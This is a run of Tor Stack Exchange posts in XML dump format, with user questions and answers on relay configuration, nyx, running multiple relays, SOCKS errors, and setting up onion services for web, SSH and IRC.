  <row Id="15821" PostTypeId="2" ParentId="15818" CreationDate="2017-09-28T21:07:49.523" Score="0" Body="&lt;p&gt;So, here is your resolution checklist:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First of all, you also need a line &lt;code&gt;ExitPolicy reject6 *:*&lt;/code&gt; to block IPv6 exit traffic as well.&lt;/li&gt;&#xA;&lt;li&gt;Second - if &lt;a href=&quot;http://www.trustedreviews.com/reviews/bt-smart-hub&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; is your device, then make sure that bridge is plugged via &lt;strong&gt;wired ethernet&lt;/strong&gt;, not wifi - there're a lot of glitches with wifi, you'll learn a lot of new bad language even digging them out :) So - plug the jack and set a &lt;strong&gt;static IP&lt;/strong&gt; for your laptop in &lt;code&gt;/etc/network/interfaces&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; add it to your torrc &lt;code&gt;ORPort XX.YY.ZZ.VV:9001&lt;/code&gt; instead of just &lt;code&gt;ORPort 9001&lt;/code&gt; - it will save you from some trouble.&lt;/li&gt;&#xA;&lt;li&gt;Third - you have a port reachability issue. It can be caused by a various reasons.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How to check the problem source? Here is another checklist:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to your router's setup and make sure that the port 9001(it's in your ORPort directive) is forwarded to your static lan IP for a node.&lt;/li&gt;&#xA;&lt;li&gt;Also make sure no SPI/DPI/firewall is enabled on your router. Sounds a bit weird, nut here is the brief: the home routers are not hardware-advanced ones, so it slows them down like hell and make them &lt;em&gt;really hot&lt;/em&gt; on a moderate+ packet count just by overloading the CPU. router is a NAT device, so - if you haven't explicitly forwarded the port to a LAN member - it is not reachable from the outer world and no security will suffer if you turn off the unneeded filtration. These toy firewalls, and especially SPI and DPI on a home-toothpicks are problem-causers, not helpers.&lt;/li&gt;&#xA;&lt;li&gt;On your router - completely &lt;strong&gt;disable&lt;/strong&gt; UPnP - it can cause much more problems than it solves. Also it's a frequent helper for an attacker exploiting your LAN devices. So - turn it off. In our case it can make a conflict if the port 9001 is UPnP-forwarded, especially to somewhere else. Yes, it does not happens frequently and by the logic it should not happen at all - but trust me, if you'll take a look at upnp-forwarded port list, sometimes you'll find even a manually forwarded ports routed to somewhere else. It's a firmware glitch, but knowing that does not makes your network setup working as designed. So shut it off.&lt;/li&gt;&#xA;&lt;li&gt;On your Ubuntu node check for error logs in a syslog and all others, look for AppArmor and/or SELinux messages - and even if there're none, try turning them off until you'll make it work. You'll be able to fix the rules for Tor process later, if after reenabling them it will brek: you'll know what exactly to tweak and it will be the one-time action.&lt;/li&gt;&#xA;&lt;li&gt;On your Ubuntu - check the firewall, just &lt;code&gt;iptables --list&lt;/code&gt;... Also check the program &lt;code&gt;fail2ban&lt;/code&gt; - it can give a false positive and block the addresses of the tore external ip-checking parties.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If it will not work or you'll need a further help - just drop me a line and we will fix this!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-28T21:07:49.523" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15822" PostTypeId="2" ParentId="15586" CreationDate="2017-09-28T21:16:13.823" Score="0" Body="&lt;p&gt;It's higly depends where the attack is pointed to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If it's pointed at your IP address, then router will keep it, even in a dynamic IP case, so only changing an address(via switching to another ISP or changing it with your current one) will save you&lt;/li&gt;&#xA;&lt;li&gt;If it's pointed at your online ctivities, i.e. they are tracing your IP by checking what address you have used to login into Skype, for example, - then yes, Tor will help you, because they will see that they're hitting a thin air : Tor will change circuits from time to time, so the exits too, and they will not know your real ip like in case #1 &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-28T21:16:13.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15823" PostTypeId="2" ParentId="15813" CreationDate="2017-09-28T23:25:45.620" Score="1" Body="&lt;p&gt;Arm was renamed to &lt;code&gt;nyx&lt;/code&gt; and the &lt;a href=&quot;https://gitweb.torproject.org/nyx.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;development continued&lt;/a&gt; - nowdays there's no need in torrc, only control protocol is used. add to your nyx this argument:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/nyx.git/tree/nyx/arguments.py#n84&quot; rel=&quot;nofollow noreferrer&quot;&gt;--interface [tor control address]:[tor control port]&lt;/a&gt; if you're using TCP/IP for control protocol&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/nyx.git/tree/nyx/arguments.py#n99&quot; rel=&quot;nofollow noreferrer&quot;&gt;--socket /path/to/socket&lt;/a&gt; if you're using a socket&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The config path in command line arguments is a config for nyx, not for tor. Default one is looked for at &lt;code&gt;~/.nyx/config&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And see the full list of config args in the &lt;a href=&quot;https://gitweb.torproject.org/nyx.git/tree/web/nyxrc.sample&quot; rel=&quot;nofollow noreferrer&quot;&gt;sample nyxrc provided by the developers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="88" LastEditDate="2019-08-14T13:53:08.463" LastActivityDate="2019-08-14T13:53:08.463" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="15824" PostTypeId="1" AcceptedAnswerId="15834" CreationDate="2017-09-29T08:45:06.117" Score="0" ViewCount="892" Body="&lt;p&gt;I have been running my Tor node since July 2016 and I have been reading the emails on the Tor-relays@lists.torproject.org with interest, sometimes confused as to what they are talking about. It was suggested that you can safely run two Tor nodes on the same Pc.&#xA;Question.....do I install tor exactly the same way but call it a similar but different name, use the same orport 443?, and use the same contact details.&#xA;Also adding the Family details as well, which I understand is important.&#xA;If some one can talk me through the steps I need to take to add a 2nd Tor relay please.......and have i missed anything out that should be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steve&lt;/p&gt;&#xA;" OwnerUserId="17225" LastActivityDate="2017-09-30T00:24:45.277" Title="Adding a 2nd Tor node on the same Pc" Tags="|configuration|tor-install|myfamily|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15826" PostTypeId="2" ParentId="15824" CreationDate="2017-09-29T14:14:47.943" Score="0" Body="&lt;p&gt;Well, strictly speaking, Tor does filters the &quot;too much nodes on one IP&quot; and &quot;too much nodes from one subnet&quot; cases, so - there're two parts of the answer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Yes&lt;/strong&gt;, you can run even 10 nodes on &lt;em&gt;one PC&lt;/em&gt;, it's just a question of CPU cores and RAM: disk usage is very tiny and even a SATA-II HDD will handle 10+ relays simultaneously&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;No&lt;/strong&gt;, you should not run two/multiple relays &lt;em&gt;on one external IP&lt;/em&gt;, because they will be filtered out&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What you need is either a second ISP link with different IP, or a VPN to provide you a different IP for each extra relay&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an addition - make the relays exclude each other in their &lt;code&gt;torrc&lt;/code&gt; configs, so the effect for the network will be maximized&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-29T14:14:47.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15827" PostTypeId="1" CreationDate="2017-09-29T14:44:30.317" Score="0" ViewCount="264" Body="&lt;p&gt;Is it possible to simulate correlation attacks on Tor using Shadow? If it's possible what's the easiest way to implement it? If it's not possible, then is there any other simulators that can be used for that purpose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;" OwnerUserId="19072" LastActivityDate="2023-02-16T09:12:42.470" Title="Simulating Correlation attacks on Tor using Shadow" Tags="|attacks|traffic-analysis|shadow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15828" PostTypeId="1" CreationDate="2017-09-29T17:20:56.947" Score="0" ViewCount="726" Body="&lt;p&gt;After the update on macOS high sierra, videos does not work on all sites. I'm using a tor browser (7.0.6). How to fix it?&lt;/p&gt;&#xA;" OwnerUserId="19312" LastActivityDate="2021-12-19T10:06:40.603" Title="videos does not work on macOS" Tags="|mac|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15830" PostTypeId="1" AcceptedAnswerId="15833" CreationDate="2017-09-29T20:46:31.347" Score="0" ViewCount="1141" Body="&lt;p&gt;Hello everyone. i have a simple question i am using a tor client to connect programmatically to tor via Socks4a. Everything run smoothly but when i tried to add ssl-tls to connect to localhost  i got the message below. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Socks version 22 not recognized. (Tor is not an http proxy.) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason that i want to implement ssl-tls is to prevent someone doing MITM  between my pc and the proxy which has been setted localhost. Is this possible via socks proxy?&lt;/p&gt;&#xA;" OwnerUserId="9438" LastActivityDate="2017-09-29T23:34:42.487" Title="Socks version 22 not recognized. (Tor is not an http proxy.)" Tags="|configuration|security|socks|torsocks|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15833" PostTypeId="2" ParentId="15830" CreationDate="2017-09-29T23:34:42.487" Score="2" Body="&lt;p&gt;You're not trying to speak SOCKS, the SOCKS port only speaks the SOCKS protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decimal 22 is hexadecimal 0x16, which is the initial byte of a TLS connection. Tor's SOCKS port does not speak TLS. You cannot arbitrarily add TLS onto the SOCKS connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No one can MITM between you and a localhost proxy without being an administrator or having privileges on your local computer. If they a &lt;em&gt;are&lt;/em&gt; local administrator then adding TLS will not stop them performing MITM or worse.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-29T23:34:42.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15834" PostTypeId="2" ParentId="15824" CreationDate="2017-09-30T00:24:45.277" Score="0" Body="&lt;p&gt;Yes, it's not uncommon for people run two relays on a single server in cases where bandwidth isn't the bottleneck, to take advantage of two CPU cores (since much of Tor's functionality is locked to a single core, running two can increase throughput).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're &lt;em&gt;not&lt;/em&gt; currently using up an entire CPU core for just one Tor instance, then it may not be worthwhile for you to do this. One faster relay is probably more helpful than two slower ones on the same IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the Tor project packages, for systems that use systemd (most modern Linux distributions), there is a tool distributed with it called &lt;code&gt;tor-instance-create&lt;/code&gt; which can create multiple Tor instances. If this is available, the process will be much more simple.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor-instance-create second # replace &quot;second&quot; with whatever you want the instance to be called&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will create a new systemd service entry, a new &lt;code&gt;/etc/tor/instances/second/&lt;/code&gt; folder that contains the torrc for the second instance and a new &lt;code&gt;/var/lib/tor-instances/second&lt;/code&gt; for use as the &lt;code&gt;DataDirectory&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the torrc, ensure that you use &lt;em&gt;different&lt;/em&gt; ports for each relay, to avoid conflicts then run the commands&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;systemctl enable tor@second&#xA;systemctl start tor@second&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should now have the second Tor instance providing a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should, as a courtesy, set the &lt;code&gt;MyFamily&lt;/code&gt; lines in each to include each others fingerprints (they don't need their own, they just both need to have the relay fingerprint for the other). You can find their fingerprints under &lt;code&gt;/var/lib/tor/fingerprint&lt;/code&gt; and &lt;code&gt;/var/lib/tor-instances/second/fingerprint&lt;/code&gt; respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you're not using a Debian derived Linux distro&lt;/strong&gt; then you'll need to set this up manually, you'll need to look at whatever system daemon management software it's using and create a new entry for the second relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important points for setting it up are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;They both need to use different &lt;code&gt;DataDirectory&lt;/code&gt; folders, otherwise they will conflict and cause problems.&lt;/li&gt;&#xA;&lt;li&gt;They both need to use different ports, for all services (you may need to specify &lt;code&gt;SocksPort 0&lt;/code&gt; on the second's torrc, to avoid it trying to use the default of 9050).&lt;/li&gt;&#xA;&lt;li&gt;Setup &lt;code&gt;MyFamily&lt;/code&gt; using the fingerprint found in the &lt;code&gt;fingerprint&lt;/code&gt; file in the Tor instances &lt;code&gt;DataDirectory&lt;/code&gt;, each relay should contain the fingerprint for the &lt;em&gt;other&lt;/em&gt; relay (although it doesn't hurt to add it's own too).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other than those points, you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-30T00:24:45.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15837" PostTypeId="1" CreationDate="2017-10-01T03:02:31.450" Score="0" ViewCount="432" Body="&lt;p&gt;I tried &lt;code&gt;tor-prompt&lt;/code&gt; and while the minimalist /help gives some info. it doesn't tell if I can run the &lt;code&gt;whois&lt;/code&gt; command through it or some other command utility which gives me the info. I tried the following on the prompt and was met by - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; whois 1337x.to&#xA;  File &quot;&amp;lt;console&amp;gt;&quot;, line 1&#xA;    whois 1337x.to&#xA;             ^&#xA;SyntaxError: invalid syntax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I run simply whois on the same website I get Timeouts most of the time or some barely info. the website has been banned/censored in the country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on Debian stretch/testing with few bits of sid/unstable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update - Even tried simple torify with the same result, of course my understanding may be total lacking about the process - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[$] torify whois 1337x.to                                                                                                           &#xA;Timeout.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the other hand curl and other such apps. work fine with torify. I had used &lt;a href=&quot;https://linuxaria.com/howto/how-to-anonymize-the-programs-from-your-terminal-with-torify&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://linuxaria.com/howto/how-to-anonymize-the-programs-from-your-terminal-with-torify&lt;/a&gt; way back to make changes to tor so I could also use CLI services using tor and anonymity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 04/10/2017 - Is there a way to tell non-profits for whom anonymity might be important but do not know what setting needs to be changed either in apache or whatever webserver they use to let anonymous people also get their details. I do see lot of vulnerable people who could use such info. for good. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="3547" LastEditDate="2017-10-04T11:54:19.337" LastActivityDate="2017-10-04T11:54:19.337" Title="using whois with torify and detailed info" Tags="|anonymity|debian|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15844" PostTypeId="1" CreationDate="2017-10-02T16:15:03.400" Score="1" ViewCount="257" Body="&lt;p&gt;I would like to deny my Hidden Services (HS) to speak with any servers from one country but I would like to allow other hop of my circuit to be from that country&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example my HS is hosted in country X, I would to deny my HS to communicate directly to any servers in this country X but the HS is allowed to have country X for the second or last hop of his circuit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible ?&lt;/p&gt;&#xA;" OwnerUserId="19354" LastEditorUserId="19354" LastEditDate="2017-10-03T00:28:49.907" LastActivityDate="2022-04-11T05:02:25.217" Title="Deny a Hidden Service to communicate with servers of one country" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15846" PostTypeId="2" ParentId="15844" CreationDate="2017-10-03T00:15:10.517" Score="0" Body="&lt;p&gt;In full - impossible, because HSDir, for example, is a passive replica, i.e. you are &lt;strong&gt;not&lt;/strong&gt; controlling how it's formed. Partially - with nodes in chains - you can utilize &lt;code&gt;ExcludeNodes&lt;/code&gt; and &lt;code&gt;ExcludeExitNodes&lt;/code&gt; with &lt;code&gt;StrictNodes 1&lt;/code&gt; in 2-instance setup - but it will barely help you... And it's not a flaw of Tor: such selection ability would be a great deanonymization possibility and quite good for fingerprinting your HS&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-03T00:15:10.517" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15847" PostTypeId="1" CreationDate="2017-10-03T04:52:06.330" Score="0" ViewCount="174" Body="&lt;p&gt;Is it possible to modify hidden service configuration to always include a certain tor relays ip to be its introduction point given the relay has HSDir set.&lt;/p&gt;&#xA;" OwnerUserId="17117" LastActivityDate="2018-07-01T05:37:31.280" Title="Can a hidden service operator specify a certain tor relay to always be one of its introductory point" Tags="|configuration|onion-services|relays|hsdir|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15848" PostTypeId="1" AcceptedAnswerId="15854" CreationDate="2017-10-03T07:53:58.210" Score="0" ViewCount="211" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I was wondering if anyone can explain to me on how to remove all of ?&gt;the .to and .cab and .rip or .guide and so on and only keep .onion &gt;only nothing else add to it. I look everywhere on this and I can't &gt;seem to find anything that can help me in anyway. I'm running Windows &gt;10 and I'm using wamp for onion hiddenservice so any help that would &gt;be awesome. Thank you for your time.&#xA;  Basiclly from what i have seen is that there is two onion Vs onion proxy and I need to figure out how to remove onion proxy. This way my server will only display my site without any extension at the end of onion. One person on here ask to see this then if it helps then here it is:  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&#xA;# Virtual Hosts  &lt;br /&gt;&#xA;# VirtualHost *:80 &lt;br /&gt; &#xA;  VirtualHost *:80 &lt;br /&gt;&#xA;  ServerName localhost &lt;br /&gt;&#xA;  ServerAlias localhost &lt;br /&gt;&#xA;  DocumentRoot &quot;${INSTALL_DIR}/www&quot; &lt;br /&gt;&#xA;   Directory &quot;${INSTALL_DIR}/www/&quot; &lt;br /&gt;&#xA;   # Options +Indexes +Includes +FollowSymLinks +MultiViews &lt;br /&gt;&#xA;     Options -Indexes &lt;br /&gt;&#xA;    AllowOverride None &lt;br /&gt;&#xA;    Require local &lt;br /&gt;&#xA;  /Directory &lt;br /&gt;&#xA;/VirtualHost &lt;br /&gt;&#xA;&#xA;VirtualHost *:80 &lt;br /&gt;&#xA;  ServerName  npbsspajdfuxe7oq.onion &lt;br /&gt;&#xA;  ServerAlias  npbsspajdfuxe7oq.onion &lt;br /&gt;&#xA;  DocumentRoot &quot;${INSTALL_DIR}/www&quot; &lt;br /&gt;&#xA;  Directory &quot;${INSTALL_DIR}/www/&quot; &lt;br /&gt;&#xA;    #Options +Indexes +Includes +FollowSymLinks +MultiViews &lt;br /&gt;&#xA;    Options -Indexes &lt;br /&gt;&#xA;    AllowOverride None &lt;br /&gt;&#xA;    Require local &lt;br /&gt;&#xA;  /Directory &lt;br /&gt;&#xA;  /VirtualHost  &lt;br /&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any help or link that show me how to do this would be awesome and I hope I said this more clear for ya. Which i have no idea how first time I said it wasn't clear but that's beyond me, anyway Thanks for your time and any help you can or have giving me. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19359" LastEditorUserId="19359" LastEditDate="2017-10-04T08:08:09.043" LastActivityDate="2017-10-04T08:08:09.043" Title="Remove all .cab .rip .guide .to" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ClosedDate="2017-10-03T22:06:49.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="15850" PostTypeId="1" CreationDate="2017-10-03T13:38:55.527" Score="1" ViewCount="89" Body="&lt;p&gt;I am new to Tor and I have been trying to understand its inner workings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering how many extra trips across the Internet are in a connection to &lt;code&gt;Tor hidden service&lt;/code&gt; compared to directly contacting a web site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how many extra trips across the Internet are in a &lt;code&gt;Tor circuit&lt;/code&gt; to a web site?&lt;/p&gt;&#xA;" OwnerUserId="19364" LastActivityDate="2018-04-03T06:58:33.687" Title="Tor connection comparison inquiry" Tags="|onion-services|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15851" PostTypeId="2" ParentId="15828" CreationDate="2017-10-03T14:47:44.083" Score="0" Body="&lt;p&gt;Try Refresh Tor Browser option.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Goto Options --  &lt;a href=&quot;https://i.stack.imgur.com/oBmba.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oBmba.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;a href=&quot;https://i.stack.imgur.com/oALjc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oALjc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit &quot;Refresh Tor Browser&quot; Button.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="19365" LastActivityDate="2017-10-03T14:47:44.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15852" PostTypeId="1" AcceptedAnswerId="15853" CreationDate="2017-10-03T20:20:40.430" Score="0" ViewCount="387" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I was wondering If i can use extra onion address I got from code as &gt;showing: &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Step Three: More advanced tips&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you plan to keep your service available for a long time, you &gt;might want to make a backup copy of the private_key file somewhere.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you want to forward multiple virtual ports for a single hidden &gt;service, just add more HiddenServicePort lines. If you want to run &gt;multiple hidden services from the same Tor client, just add another &gt;HiddenServiceDir line. All the following HiddenServicePort lines &gt;refer to this HiddenServiceDir line, until you add another &gt;HiddenServiceDir line:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /usr/local/etc/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&#xA;HiddenServiceDir /usr/local/etc/tor/other_hidden_service/&#xA;HiddenServicePort 6667 127.0.0.1:6667&#xA;HiddenServicePort 22 127.0.0.1:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I use that in torrc and I restart tor browser and now I got two &gt;onion address one onion address is for my website and other one can &gt;be use for irc and ssh or just only irc and if so where I can learn &gt;how to make my own onion irc or ssh. I would ratter have both if &gt;not I would like use irc. I look everywhere on the net for this and &gt;I can't never find anything about this topic on how to set it up. I &gt;was wondering if someone can point me in right direction if so that &gt;would be awesome and thank you for your time...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19359" LastActivityDate="2017-10-04T09:04:23.470" Title="can I use hiddenservice address for irc and ssh or just one" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ClosedDate="2017-10-04T17:31:27.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="15853" PostTypeId="2" ParentId="15852" CreationDate="2017-10-03T21:18:03.680" Score="-1" Body="&lt;p&gt;It's like an old-good STunnel: you can make as many port forwardings as you wish. After &lt;code&gt;HiddenServiceDir&lt;/code&gt; line you just put - one line per port - as many &lt;code&gt;HiddenServicePort&lt;/code&gt; forwards as you wish, &lt;strong&gt;just make sure there're no empty lines&lt;/strong&gt;. And for one onion-name you can use irc, ssh, http, https and whatever you wish at the same time, there's no limits for the number of forward rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: How to utilize the services&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;OpenSSH&lt;/strong&gt; - the simpliest one. It's by default listens on everywhere, including 127.0.0.1, so &lt;strong&gt;just&lt;/strong&gt; adding a forward line like &lt;code&gt;HiddenServicePort 22 127.0.0.1:22&lt;/code&gt; &lt;strong&gt;does the whole trick&lt;/strong&gt;, no further Tor HS configuration is needed! If you've bound the server to the list of IP's in your &lt;code&gt;sshd_config&lt;/code&gt; - just make sure it listens on 127.0.0.1:22 as well&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;IRC&lt;/strong&gt; - so, if you do want to have onion-only server, just put it to listen on 127.0.0.1:6667, if you're about to make an onion entrance to existing server - &lt;strong&gt;there can be a problem&lt;/strong&gt;, but it's not difficult to solve. Here is the checklist for IRC:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There're some rare servers, not just IRC, that can open only one single socket by some odd reasons, and it can be listening on X.Y.Z.V:6667 - so &lt;code&gt;HiddenServicePort 6667 127.0.0.1:6667&lt;/code&gt; turns into &lt;code&gt;HiddenServicePort 6667 X.Y.Z.V:6667&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a separate socket for 127.0.0.1:6667 can be raised - good, a line &lt;code&gt;HiddenServicePort 6667 127.0.0.1:6667&lt;/code&gt; stays as it is, but you'll probably need to revert to pt.1 solution - depends on server+IRCServices because of pt.3&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;READ AND CHECK IN FULL AND CAREFULLY!&lt;/strong&gt; Landmine lies here. The historically IRC have had IDENT checks, which are requiring &lt;strong&gt;reverse&lt;/strong&gt; connection from server to client, most of IRC clients like mIRC and xIRC even has the &quot;ident port&quot; setting in a connection creation window. So - you need to disable IDENT, reverse-DNS and blacklist-lookup for 127.0.0.1 &lt;strong&gt;client source address&lt;/strong&gt; if your IRC server and services do allow a selective disabling, or disable them at all. You'll ask - where is the trick? The answer is short - you will pass ANY connection test to onion IRC, &lt;em&gt;including via client&lt;/em&gt;, because these checks are dropping clients not instantly, but in 20-60 seconds, if enabled - it's tuneable in the IRC server or services parameters or config files. So you'll get a &lt;em&gt;practically unuseable&lt;/em&gt; service that passes all the &quot;connection tests&quot; - if you'll step on this landmine&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's it! Happy working! Have a nice ride - and feel free to ask the questions, I'm glad to help! Cheers!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-10-04T09:04:23.470" LastActivityDate="2017-10-04T09:04:23.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15854" PostTypeId="2" ParentId="15848" CreationDate="2017-10-03T21:25:56.533" Score="-1" Body="&lt;p&gt;You need your onion address to be &quot;pingable&quot;, i.e. add it to your &lt;code&gt;SYSTEM32\drivers\etc\hosts&lt;/code&gt; file a binding to 127.0.0.1 for your onion address. like changing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;gt; 127.0.0.1 localhost&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;gt; 127.0.0.1 localhost myhiddenservice.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so pinging like &lt;code&gt;ping myhiddenservice.onion&lt;/code&gt; will ping 127.0.0.1 in cmd.exe window. After that just start your webserver bound to 127.0.0.1 and expecting a hostname &lt;code&gt;myhiddenservice.onion&lt;/code&gt; in a &lt;code&gt;Host:&lt;/code&gt; HTTP/1.1 or HTTP/2.0 header, and that's it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For HTTP/1.0 case you need - if you need to work around &lt;strong&gt;such an old stuff&lt;/strong&gt; that's rarely occured - you're using 127.0.0.2 IP address instead of 127.0.0.1 - the whole 127.x.x.x addresses are already pre-assigned to your PC, try pinging it ;) so bind the webserver to the IP address as a &quot;default&quot; host for it, i.e. use &quot;IP-based virtual hosts&quot;.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-03T21:25:56.533" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
